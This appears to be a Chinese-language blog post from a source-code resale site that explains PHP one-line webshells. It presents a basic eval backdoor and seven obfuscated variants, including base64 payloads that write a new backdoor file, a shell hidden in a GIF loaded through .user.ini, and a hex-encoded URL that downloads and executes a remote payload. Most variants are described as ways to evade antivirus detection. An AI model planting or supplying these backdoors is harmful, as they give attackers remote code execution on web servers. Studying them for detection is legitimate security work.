常见php一句话webshell解析

2025-04-06 0 1,730

我理解的 webshell 是在服务器上以 web server application (比如apache,iis或者nginx)的权限进行远程任意代码执行的工具。当然通过一些手段也可能可以进行提权。

最基础的 php webshell

1
<?php eval($_POST[CMD]);?>

将 post 请求中的 CMD 参数直接执行。

1
<?php eval($_GET[CMD]);?>

原理浅析:

1、在PHP脚本语言中,eval(code)的功能是将code组合成php指令,然后将指令执行。
2、<?php a=phpinfo();eval(echoa=”phpinfo()”;eval(“echoa; “); ?>
就相当于执行 echo phpinfo()语句。

变形一

为了与各种静态分析检测的杀毒软件进行对抗,webshell的代码也在不断进行混淆和改进。

1
<?php $x=$_GET[‘z’]; @eval(“$x;”);?>

一般的安全软件可能会将eval+GET或POST判定为后门程序,因此这种变形将eval和GET或者POST分开,能够绕过这种情况。

变形二

接收方
感觉这里并没有写对,应该是传入的两个参数都是base64加密的,经过解密后再执行,生成后门文件。

1
2
3
<?php
$a=str_replace(x,“”,“axsxxsxexrxxt”);$a($_POST[“code”]);
?>

请求参数

1
?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

还原出的命令

1
assert(fputs(fopen(‘c.php’,w),“<?php@eval($_POST[a]);?>”))

利用assert来执行命令,并且用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。

变形三

1
2
3
<?php
$_GET[‘a’]($_GET[‘b’]);
?>

请求参数

1
?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==”))

 

完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果与变形二是一致的。

变形四

1
($code = $_POST[‘code’]) &&@preg_replace(‘/ad/e’,‘@’.str_rot13(‘riny’).‘($code)’, ‘add’)

改进的地方:

首先,将eval函数用str_rot13(‘riny’)隐藏。
然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

变形五

1
$filename=$_GET[‘code’]; include ($filename);

改进的地方:

由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

变形六

1
auto_prepend_file=code.gif

上传.user.ini,并且写入auto_prepend_file=code.gif
将一句话隐藏在code.gif中,并且将它上传到同一目录下。

改进的地方:

将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使得所有正常php文件都毫不知情的中招。

变形七

1
2
if(empty($_SESSION[‘api’]))$_SESSION[‘api’]=substr(file_get_contents(sprintf(‘%s?%s’,pack(“H*”,‘687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067’),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[‘api’]),null);

改进的地方:

第一,通过pack函数得到URL
第二,利用file_get_contents获得make.jpg。
第三,利用substr截取3649字节以后的内容。
第四,利用gzuncompress方法将3649字节以后的内容解压出来。
第五,用preg_replace方法的e操作符将代码执行。
还有很多后续操作……

后记

以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。

另外除了这些一句话以外,还有一些不错的大马,例如rc-shell等,以及github上大量的webshell仓库。

参考资料

[1] 一句话木马初级篇:常见PHP后门解析 – ArkTeam
[2] 一款功能强大的Web shell工具RC-SHELL
[3] github webshell

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 常见php一句话webshell解析 https://www.83ym.com/2796.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务